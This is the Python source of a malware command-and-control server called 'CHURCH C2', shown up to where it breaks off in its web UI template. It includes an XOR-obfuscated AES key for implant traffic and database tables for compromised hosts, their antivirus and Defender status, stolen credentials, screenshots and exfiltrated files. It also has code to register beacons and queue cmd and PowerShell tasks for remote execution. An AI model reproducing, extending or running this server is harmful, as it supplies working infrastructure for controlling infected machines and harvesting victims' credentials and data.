#!/usr/bin/env python3 """ CHURCH C2 SERVER """ import os import sys import time import json import base64 import logging import argparse import threading import sqlite3 import secrets import hashlib import uuid from pathlib import Path from functools import wraps from collections import defaultdict from datetime import timedelta from flask import ( Flask, request, jsonify, make_response, render_template_string, session, redirect, url_for ) from flask_socketio import SocketIO, emit from flask_limiter import Limiter from flask_limiter.util import get_remote_address from werkzeug.security import generate_password_hash, check_password_hash from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend # ==================== CONFIGURATION ==================== VERSION = "2.1.0" XOR_KEY = 0xDD CONFIG_FILE = "church_c2.cfg" JWT_SECRET_FILE = "jwt_secret.key" DATABASE_PATH = "church_c2.db" LOG_PATH = "church_c2.log" DOWNLOAD_PATH = "downloads" PLUGIN_PATH = "plugins" SSL_CERT = "cert.pem" SSL_KEY = "key.pem" ALLOWED_ORIGINS = ["https://localhost:443", "https://127.0.0.1:443"] # adjust as needed # XOR-obfuscated AES key and IV (same as implant, key 0xDD) # Original: b"ChurchOfMalware2024!!ChurchOfMalware2024!!" AES_KEY_OBF = b"\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAA\xA5\xB1\xA7\xA5\xAD\xB4\x23" # Original: b"MalwareChurchIV!!" AES_IV_OBF = b"\xB1\xB8\xB7\xAF\xB2\xB9\xA5\xA7\xA8\xB9\xA7\xA6\xF5\xF4\xF4\x23" def xor_deobfuscate(data: bytes) -> bytes: return bytes([b ^ XOR_KEY for b in data]) AES_KEY = xor_deobfuscate(AES_KEY_OBF) AES_IV = xor_deobfuscate(AES_IV_OBF) # JWT secret – persist across restarts def get_or_create_jwt_secret(): if os.path.exists(JWT_SECRET_FILE): with open(JWT_SECRET_FILE, "rb") as f: return f.read().decode() else: secret = secrets.token_hex(32) with open(JWT_SECRET_FILE, "w") as f: f.write(secret) os.chmod(JWT_SECRET_FILE, 0o600) return secret JWT_SECRET = get_or_create_jwt_secret() # Admin credentials – read from config or env (never hardcoded) def get_admin_creds(): # Try config file first if os.path.exists(CONFIG_FILE): with open(CONFIG_FILE) as f: for line in f: if line.startswith("ADMIN_USERNAME="): username = line.strip().split("=", 1)[1] elif line.startswith("ADMIN_PASSWORD_HASH="): pwd_hash = line.strip().split("=", 1)[1] if 'username' in locals() and 'pwd_hash' in locals(): return username, pwd_hash # Fallback to environment variables username = os.environ.get("CHURCH_ADMIN_USER", "admin") pwd_hash = os.environ.get("CHURCH_ADMIN_HASH") if not pwd_hash: # Generate a random password on first run and print to console random_pass = secrets.token_urlsafe(16) pwd_hash = generate_password_hash(random_pass) print(f"\n[!] No admin password set. Generated random password: {random_pass}") print("[!] Save this immediately! You can change it via the web UI.\n") return username, pwd_hash ADMIN_USERNAME, ADMIN_PASSWORD_HASH = get_admin_creds() # Initialize Flask app = Flask(__name__) app.config['SECRET_KEY'] = JWT_SECRET app.config['SESSION_COOKIE_HTTPONLY'] = True app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 # Rate limiter limiter = Limiter( app, key_func=get_remote_address, default_limits=["200 per day", "50 per hour"], storage_uri="memory://" ) # SocketIO with strict CORS socketio = SocketIO( app, cors_allowed_origins=ALLOWED_ORIGINS, logger=False, engineio_logger=False ) # ==================== DATABASE ==================== def init_database(): """Initialize SQLite database with all tables (idempotent)""" conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute('''CREATE TABLE IF NOT EXISTS beacons ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT UNIQUE NOT NULL, computer_name TEXT NOT NULL, username TEXT NOT NULL, process_id INTEGER, os_version TEXT, is_admin BOOLEAN, path TEXT, defender_status INTEGER, uptime INTEGER, install_date INTEGER, domain TEXT, antivirus TEXT, first_seen REAL, last_seen REAL, status TEXT DEFAULT 'active', jitter_min INTEGER DEFAULT 60, jitter_max INTEGER DEFAULT 180, sleep_time INTEGER DEFAULT 120, notes TEXT )''') c.execute('''CREATE TABLE IF NOT EXISTS tasks ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, task_type TEXT DEFAULT 'cmd', command TEXT, arguments TEXT, status TEXT DEFAULT 'pending', output TEXT, created_at REAL, executed_at REAL, completed_at REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS results ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, task_id INTEGER, output TEXT, timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS files ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, remote_path TEXT, local_path TEXT, size INTEGER, hash TEXT, status TEXT, created_at REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS credentials ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, cred_type TEXT, username TEXT, password TEXT, domain TEXT, timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, screenshot_path TEXT, timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS tags ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, tag TEXT NOT NULL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') c.execute('''CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password_hash TEXT NOT NULL, role TEXT DEFAULT 'operator', created_at REAL )''') c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, action TEXT, target TEXT, timestamp REAL, ip_address TEXT )''') # Insert default admin if not exists c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,)) if not c.fetchone(): c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)", (ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time())) conn.commit() conn.close() # ==================== CRYPTOGRAPHY ==================== class CryptoManager: @staticmethod def decrypt_aes(data_b64: str) -> bytes: """AES-256-CBC decryption with robust CRLF stripping""" # Remove all whitespace and CRLF that may have been inserted by CryptBinaryToString cleaned = ''.join(data_b64.split()) ciphertext = base64.b64decode(cleaned) cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) decryptor = cipher.decryptor() plaintext = decryptor.update(ciphertext) + decryptor.finalize() pad_len = plaintext[-1] return plaintext[:-pad_len] if pad_len <= 16 else plaintext @staticmethod def encrypt_aes(plaintext: bytes) -> str: """AES-256-CBC encryption without extra whitespace""" pad_len = 16 - (len(plaintext) % 16) plaintext += bytes([pad_len]) * pad_len cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) encryptor = cipher.encryptor() ciphertext = encryptor.update(plaintext) + encryptor.finalize() # No newlines in base64 – implant expects clean string return base64.b64encode(ciphertext).decode() # ==================== BEACON MANAGER ==================== from dataclasses import dataclass, asdict from typing import Dict, List, Optional @dataclass class Beacon: beacon_id: str computer_name: str username: str process_id: int os_version: str is_admin: bool path: str defender_status: int uptime: int install_date: int domain: str antivirus: str first_seen: float last_seen: float status: str = "active" jitter_min: int = 60 jitter_max: int = 180 sleep_time: int = 120 notes: str = "" def to_dict(self) -> dict: return asdict(self) @staticmethod def from_db_row(row) -> 'Beacon': return Beacon( beacon_id=row[1], computer_name=row[2], username=row[3], process_id=row[4], os_version=row[5], is_admin=bool(row[6]), path=row[7], defender_status=row[8], uptime=row[9], install_date=row[10], domain=row[11], antivirus=row[12], first_seen=row[13], last_seen=row[14], status=row[15], jitter_min=row[16], jitter_max=row[17], sleep_time=row[18], notes=row[19] if len(row) > 19 else "" ) class BeaconManager: def __init__(self): self._beacons: Dict[str, Beacon] = {} self._lock = threading.Lock() self._load_from_db() def _load_from_db(self): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute("SELECT * FROM beacons WHERE status = 'active'") for row in c.fetchall(): beacon = Beacon.from_db_row(row) self._beacons[beacon.beacon_id] = beacon conn.close() def update_beacon(self, data: dict) -> Beacon: # Use UUID to avoid collisions beacon_id = self._generate_beacon_id(data['computer'], data['user']) with self._lock: if beacon_id not in self._beacons: beacon = Beacon( beacon_id=beacon_id, computer_name=data['computer'], username=data['user'], process_id=data.get('pid', 0), os_version=data.get('os', 'Unknown'), is_admin=data.get('admin', False), path=data.get('path', ''), defender_status=data.get('defender', 2), uptime=data.get('uptime', 0), install_date=data.get('install_date', 0), domain=data.get('domain', 'WORKGROUP'), antivirus=data.get('av', 'None'), first_seen=time.time(), last_seen=time.time() ) self._beacons[beacon_id] = beacon self._save_beacon(beacon) self._audit("beacon_registered", beacon_id) else: beacon = self._beacons[beacon_id] beacon.last_seen = time.time() beacon.uptime = data.get('uptime', beacon.uptime) beacon.defender_status = data.get('defender', beacon.defender_status) self._update_beacon(beacon) return beacon def _generate_beacon_id(self, computer: str, user: str) -> str: """Unique beacon ID using UUID to avoid collisions""" # Use deterministic UUID v5 based on computer+user to keep same ID across sessions # but still unique across different (computer,user) pairs namespace = uuid.NAMESPACE_DNS name = f"{computer}\\{user}" return str(uuid.uuid5(namespace, name)) def _save_beacon(self, beacon: Beacon): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute('''INSERT OR REPLACE INTO beacons (beacon_id, computer_name, username, process_id, os_version, is_admin, path, defender_status, uptime, install_date, domain, antivirus, first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', (beacon.beacon_id, beacon.computer_name, beacon.username, beacon.process_id, beacon.os_version, beacon.is_admin, beacon.path, beacon.defender_status, beacon.uptime, beacon.install_date, beacon.domain, beacon.antivirus, beacon.first_seen, beacon.last_seen, beacon.status, beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes)) conn.commit() conn.close() def _update_beacon(self, beacon: Beacon): self._save_beacon(beacon) def get_pending_tasks(self, beacon_id: str) -> List[dict]: conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,)) tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()] conn.close() return tasks def mark_task_completed(self, task_id: int, output: str): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", (output, time.time(), task_id)) conn.commit() conn.close() self._audit("task_completed", str(task_id)) def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at) VALUES (?, ?, ?, ?, 'pending', ?)''', (beacon_id, command, args, task_type, time.time())) task_id = c.lastrowid conn.commit() conn.close() self._audit("task_added", f"{beacon_id}: {command}") return task_id def _audit(self, action: str, target: str): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)", ("system", action, target, time.time(), "127.0.0.1")) conn.commit() conn.close() def get_all_beacons(self) -> List[Beacon]: with self._lock: return list(self._beacons.values()) def get_beacon(self, beacon_id: str) -> Optional[Beacon]: return self._beacons.get(beacon_id) beacon_manager = BeaconManager() # ==================== WEB UI TEMPLATES ==================== HTML_TEMPLATE = '''
Command & Control Framework v{{ version }} | Encrypted Channel Active
| Beacon ID | Computer | User | OS | Admin | Defender | Last Seen | Status |
|---|